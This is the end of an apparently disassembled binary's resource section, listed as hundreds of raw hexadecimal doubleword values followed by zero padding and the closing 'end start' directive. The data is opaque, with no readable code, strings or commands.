dd 53046656h, 0FEE781A6h, 2D5AC3E9h, 0E6FD1693h, 4B2EA0A8h
dd 43A70C8Fh, 0B4E1FFE6h, 0B88AEB4Fh, 93E57AFBh, 0D2E38032h
dd 5F6B3BADh, 85C4BA77h, 0D0B71B7Fh, 48428F2Dh, 33C5DADBh
dd 0FB3771D2h, 821EB0E9h, 52A70832h, 2857BB2Dh, 5F86269Ah
dd 0D4421E06h, 3F020B6Fh, 0A257F0F8h, 0A87EEB7Dh, 93F75CC4h
dd 0D2E35032h, 0F4353BADh, 0E224EA47h, 53B777FCh, 0C5E716EFh
dd 3C33E8Ah, 0F29458B7h, 53DCF456h, 82E781A6h, 0F357DF9Ch
dd 27442E8Fh, 0D637B1D6h, 19AE8FECh, 8E1706DFh, 0A57EF78Eh
dd 93F75B04h, 25F122Ah, 73D77F22h, 0E5872E0Fh, 56C3E282h
dd 992E0F6Ch, 62672D5Fh, 0B9CE0B7Ch, 4104BA3Fh, 0ADE781AAh
dd 784EFB9Ch, 63C72B3Eh, 0D33717A8h, 42EE476Fh, 0B317EF5Ch
dd 184D6B4Fh, 9372E0C6h, 49E2CB2Fh, 671A26A0h, 0B78BD3DFh
dd 0A07A16h, 0C335CAAFh, 0B89A12ACh, 0A3D56A8Bh, 42F36042h
dd 8604B9Dh, 0F3859A83h, 0E8922B1Ah, 0D325BA9Bh, 0C8B213A1h
dd 0B3455AC7h, 234C14C1h, 85275BBFh, 34EB31Eh, 0B14C3B9Fh
dd 0FE883683h, 63791E81h, 927B10EAh, 2F84FB6Dh, 0F2F72F52h
dd 37B36A10h, 6EC2ACC3h, 57D44A62h, 0C3C721C6h, 2B3308Ah
dd 0EDFF0B5Dh, 547E1AACh, 2387EBF8h, 0AEEDB03Fh, 0FCB9D7EEh
dd 72CF02BAh, 0B24EA791h, 0D8AEE416h, 0D26E0961h, 0B4B3D7EAh
dd 0A3DFFA6Eh, 821EBA3Fh, 4293666h, 0F3B79FE9h, 767D4B8Fh
dd 0F72B26BFh, 12DB90EEh, 38907BEDh, 2355EA17h, 0AB8AF444h
dd 886ACB2Fh, 73051A1Bh, 21A410EDh, 95BA616Ah, 0BFE9B6FBh
dd 4B02411Dh, 0A333EC8Eh, 1374DB3Fh, 0C9604BAFh, 0B69D7A73h
dd 0DD346A5Eh, 9437B1DAh, 0C89E2A17h, 0B3177CD9h, 3BA13F9Fh
dd 289E3A69h, 3750659h, 721E7B1Ch, 0E348B097h, 3881837Fh
dd 0B47F0AA6h, 697FB5Fh, 7C459F2Ch, 0F8CA40E3h, 9C39C052h
dd 0F39854EBh, 726FA006h, 685E9BCDh, 43B54665h, 0A2F70068h
dd 0C1FEB7Dh, 66F75BBFh, 1EC81FCCh, 91460A7Ch, 3BDA5DECh
dd 0C587EBA8h, 5F008118h, 337422BCh, 0FCE2131Eh, 260FBA56h
dd 0B6E74BAFh, 26B46DFCh, 0C859DA7Bh, 49D06D2Fh, 0EA84F798h
dd 0CBE67B3Ch, 720E9454h, 93F74DE7h, 45C41E2Fh, 0A832DE80h
dd 3CD97BFFh, 0B84B048Dh, 7A27700Eh, 62EF8B47h, 0A3EF13C6h
dd 0F8CADB3Fh, 0A148B372h, 128D60FEh, 0AC65D47Bh, 49D06D2Fh
dd 0EA84F798h, 0CBE67B3Ch, 720E9314h, 186C8F6Fh, 37505C3h
dd 8D27DF89h, 584E8210h, 53A5360Dh, 0D243C778h, 29C2CDCCh
dd 20C755CFh, 495D0F94h, 0B3179BAFh, 0DDDB1076h, 645F2BBDh
dd 27379FFFh, 52560C99h, 0A93E9B4Ch, 27A13F4Fh, 73843A6Eh
dd 86670126h, 0E8BE2FDBh, 0E315AAE7h, 7E4D9016h, 6CE8BDDh
dd 216350E4h, 0F2356BFDh, 49622DACh, 12AFCEAFh, 0F3023F26h
dd 0E8402B8Fh, 0D325BA1Bh, 52550B99h, 0A942E94Ch, 2247704Fh
dd 93F7FF3Bh, 3327F62Fh, 0C3DAE54Fh, 0E3DFACF9h, 0A9F71B7Fh
dd 8EDD20A6h, 5B1AFB6Dh
dd 0FB837AC6h, 8C77DB3Ch, 59EEB32Ch, 0FCC481Fh, 0E0C721C6h
dd 91E6F6Ch, 0DD59DC6Fh, 487EABDFh, 2355E6C9h, 929E3342h
dd 36481ABh, 22D7E59Fh, 0F90E53BCh, 0C9447A7Fh, 4627C1EAh
dd 0B78E9A37h, 0A3077066h, 429B60C8h, 3CFA4B9Dh, 43A8FE22h
dd 94C3D560h, 2CF3096h, 0B8EE0B5Dh, 0B3455611h, 0A77EABCCh
dd 93F7605Ah, 88E09422h, 73051A1Fh, 3BF87CE0h, 53AE1B76h
dd 2D940A3Fh, 0B897D17Ah, 0B7837A8Fh, 8C77DB3Ch, 59EECF2Ch
dd 0A6FFFE1Fh, 0DEC72B76h, 5866B34Ah, 43B543F6h, 0C3177BDFh
dd 0A88AF1BCh, 93E54B68h, 0C46A9D22h, 14C64CEEh, 0F2B73098h
dd 0DE1F1B4Dh, 3E278BD7h, 0B89AD7AAh, 0A3D57B38h, 547A8D12h
dd 24B63CDEh, 0E2CF40A8h, 620A2BBDh, 0BC35664Eh, 0F61C4012h
dd 76C68AD7h, 0DC37EE5Bh, 96CF1C6Ah, 32714C7Fh, 1C2DE46Eh
dd 2DCAC8FBh, 33691C83h, 3E2B567Ah, 0F59AEFA1h, 5B43F8DFh
dd 3640B256h, 8F6486F0h, 0B6579136h, 53A3FF1Ah, 55AEDBD2h
dd 43A70BE7h, 0CE4E06A2h, 0D7CC785Ah, 0FFF77195h, 0BC7AAABAh
dd 0A5381743h, 3AD1A70Dh, 0ED974781h, 0DFF367E3h, 8083E973h
dd 0FB146B03h, 14F2A462h, 0C80F90A4h, 0E0524F1Fh, 6379EE62h
dd 0C22A2006h, 46228A26h, 71D0B2F4h, 4903FA92h, 0C09E3AD6h
dd 41940EFEh, 22E2BFA6h, 1A0CEA86h, 52A92EC2h, 0D26E9B6Bh
dd 667D836h, 27FEBA1Bh, 821EBA3Ch, 60BF26A2h, 283EDA75h
dd 2FD1539Fh, 0F44FFA96h, 42EE8A25h, 0E27D275Bh, 7B39DE46h
dd 93F75BADh, 922E2E57h, 73D763F6h, 64ECAB0Fh, 89AA3824h
dd 0C652F4EFh, 6273FB5Fh, 2754F601h, 0F777F116h, 4456D38h
dd 0F2A18835h, 63CA6F0Ch, 0FFFD26FFh, 0C4856972h, 0B2D4ABFAh
dd 238A5FCCh, 0A93A32BFh, 367EB2Fh, 7676C0A6h, 2655AB0Fh
dd 0D7AE1DB3h, 0C3278E84h, 208F3EEAh, 4367CB6Fh, 16EE5F46h
dd 63EC4BAFh, 0F2779B3Fh, 63CAAF0Bh, 0C1A003FFh, 0C59E8A26h
dd 0B3177E38h, 323F50D2h, 0EF75B8Dh, 3DE2D3F1h, 0A698268Fh
dd 0BE879E0Bh, 0CCEF1E7Ch, 48A09B39h, 33C5DAE3h, 2BFBB5D2h
dd 1378DB3Fh, 2A813380h, 8887DA76h, 63952314h, 8827BB50h
dd 43B543F5h, 0EC7D5B49h, 7B7323A7h, 29E422Fh, 775E9DACh
dd 64B96EE1h, 0F90F3A9Ch, 4AD4867Fh, 992F1A6Ch, 3397FB5Fh
dd 0FAE99FD0h, 495F6ABCh, 83E74EAFh, 744B501Fh, 798FBA2Ch
dd 0C25EFAFFh, 0C4A1762Ah, 0A93F0A64h, 2387EB4Fh, 93F5C3C7h
dd 1B90CB2Fh, 73D73B9Dh, 0CA09D3E7h, 0D8317A16h, 0C335C36Eh
dd 0BAB17FDDh, 1B076107h, 495F62BCh, 1AC72DAFh, 0E97F4A9Ch
dd 63C7338Fh, 533070FFh, 19AF94E4h, 0F8037CDFh, 2BFE703Eh
dd 93F75B8Dh, 0EEB3D32Fh, 5B56981Fh, 3744AB3Dh, 0CB1C9BCFh
dd 0C827C1E7h, 0A01762ABh, 0A3D56358h, 8AFD2F3Ch, 59EFDA2Ch
dd 0F357BB1Fh, 0E3C0DF0Fh, 91F2254h, 0BC760D6Fh, 0A24BE062h
dd 7B87EB7Dh, 29E2EBEh, 922C2C57h, 754763F6h, 50C2AB0Fh
dd 53A53A07h, 929B28F2h, 0DCEFFB6Dh, 0A28E2AC3h, 13790BBBh
dd 774D6AFh, 6E579136h, 11CA2765h, 0C25C75A7h, 0D291A26h
dd 34177BE1h, 23A7CF99h, 1723BBFh, 0D6A2101h, 83413E8Bh
dd 0EBBE307Eh, 53B71B4Dh, 0B7F49BEFh, 22E758E8h, 387C6BFDh
dd 1365F3B3h, 7340D83Ah, 574ABB2Dh, 5DA6A45Eh, 88AC9BFFh
dd 43B51B6Fh, 0B3C8E0B2h, 0C71AED32h, 0BB6EE0CEh, 367CB1Dh
dd 0F7CE2B9Fh, 0E347ABB5h, 2B8FEE16h, 0D26EF95Dh, 22D770EAh
dd 0D5846BFDh, 13FF5F46h, 0D8624BAFh, 0F3859A9Bh, 0E4B7F51Ah
dd 0D3D7BF49h, 0FDC26B6Fh, 0A6198EE7h, 1799EE18h, 0A310E89Ah
dd 80E2CB1Dh, 73052B88h, 0EFC28101h, 0AC149E5Bh, 0C327C1FFh
dd 337062E2h, 1E076BCFh, 0CD78E3D9h, 0AB64EB7h, 7BD4466Eh
dd 3AC721C6h, 91F2A7Ch, 43A7CB6Fh, 0EA198FDFh, 1F99EE67h
dd 48706BA8h, 3750A73h, 74EFCE2Ah, 62C4E23Fh, 93B73157h
dd 57278BEFh, 49F9261h, 0F28BB4B7h, 0F121456h, 5EFFBEB2h
dd 49A8C7F1h, 8C6E8F02h, 0FBBB3084h, 90200B5Dh, 0B3455A8Fh
dd 0D1AE4F42h, 10896CC6h, 367A0AEh, 0F064159Fh, 3847A147h
dd 0BB09047Dh, 3B19BF3Dh, 9BEF8B8Fh, 4D8E2AA9h, 166B25CAh
dd 8B65B79h, 0F38593A6h, 53C72B8Fh, 48345C84h, 7F1C9482h
dd 0B61751F6h, 397714CCh, 6C56DEBFh, 367CB2Fh, 0ECEFFECAh
dd 0E3477F8Eh, 8F34727Fh, 0C427C1E3h, 0E797FB5Fh, 9B4A32CEh
dd 0B3D77B9Fh, 4B5ED0DEh, 0F357BB2Dh, 6A53AB8Fh, 0CAE10331h
dd 0BE518A26h, 0A93E4764h, 9C848E4Fh, 9092838Ah, 0D21F58BAh
dd 75BA3BADh, 1EC2AE7Ah, 0D2347267h, 0C627C1E7h, 0E797FB5Fh
dd 0D384F6DBh, 1677F116h, 59EE0734h, 5BD4BE1Fh, 64C721C6h
dd 0E3F12607h, 121F90FAh, 6D407BEDh, 9C8A1E57h, 55F86389h
dd 2BCA4E3Fh, 354C69Fh, 3B47A146h, 53B743F3h, 6C1F4DF0h
dd 0AD673E60h, 0B9CFF85Ch, 92F4B23Fh, 83E781A7h, 2767BB1Fh
dd 0BC3C2E8Dh, 8937B1EFh, 0C224826Fh, 0B31751F7h, 0F887ED4Fh
dd 0AB539ABh, 0D96F5AACh, 77D73B9Fh, 5D45600Fh, 899FA9CCh
dd 42A402EFh, 3397D177h, 78076B0Fh, 1576654Ah, 39E9F5F1h
dd 0EC32D281h, 25993219h, 0B5859D69h, 0E7D93E1Eh, 32F35D6Ah
dd 0B00A4351h, 93E57A67h, 0B1E3DA2Fh, 22BE5AF9h, 0F90E2FBCh
dd 1447A7Fh, 0D227C1EAh, 29BE7BECh, 0B5742ACFh, 9077F11Ah
dd 59EEB734h, 27E4481Fh, 94C721C6h, 0C2378531h, 19AEF3DCh
dd 25A41ADFh, 7287E18Ah, 0C9DEC30Ch, 0D5D4CA2Fh, 0F0D711BAh
dd 0F90D7FBCh, 0B7247A7Fh, 7927C1E6h, 1E2D7036h, 488A6BFDh
dd 1365FAE7h, 83BF0EAFh, 4057BB1Fh, 40482C79h, 0D325B279h
dd 849E7BC7h, 0A924935Ch, 6647704Fh, 39E2342h, 0BE48C36h
dd 36D7118Ch, 0FD47BB44h, 0B9BBF07Fh, 0BF438770h, 46840CC3h
dd 0F2C3132Fh, 18A4BA56h, 12B11FD7h, 0A229E376h, 81686A06h
dd 29DFC896h, 282F1D5Bh, 53177BDFh, 720E5037h, 0EE0B0D6h
dd 8077EFEBh, 69FDEF2Ch, 0DBF7360Fh, 59A19C9Dh, 79447EF1h
dd 6297FBC7h, 7DC3F6CFh, 82C70D3Fh, 59F2493Ch, 0EB133E1Fh
dd 726B2910h, 0D6E457D6h, 5BA351F2h, 0E27E1560h, 720E2A37h
dd 3BBABCD6h, 367CBDBh, 527F8C0Ah, 0BB47AB0Fh, 53B71B74h
dd 0B27ABB1h, 3397FB6Fh, 0A3077BB7h, 13539D3Fh, 83E8D027h
dd 0F35AE31Fh, 7F092B8Fh, 0F70328FFh, 0C6BD5873h, 0BCFB7BB7h
dd 238793AFh, 67725BBFh, 7E8CFB0Bh, 0A4ACBC99h, 0BB47A147h
dd 42DE7C2Bh, 0C323CD10h, 389A0261h, 0D6426CCDh, 769604D9h
dd 5E2B604Ah, 94D84C4Bh, 4Bh, 15B1h dup(0)
_rsrc ends
end start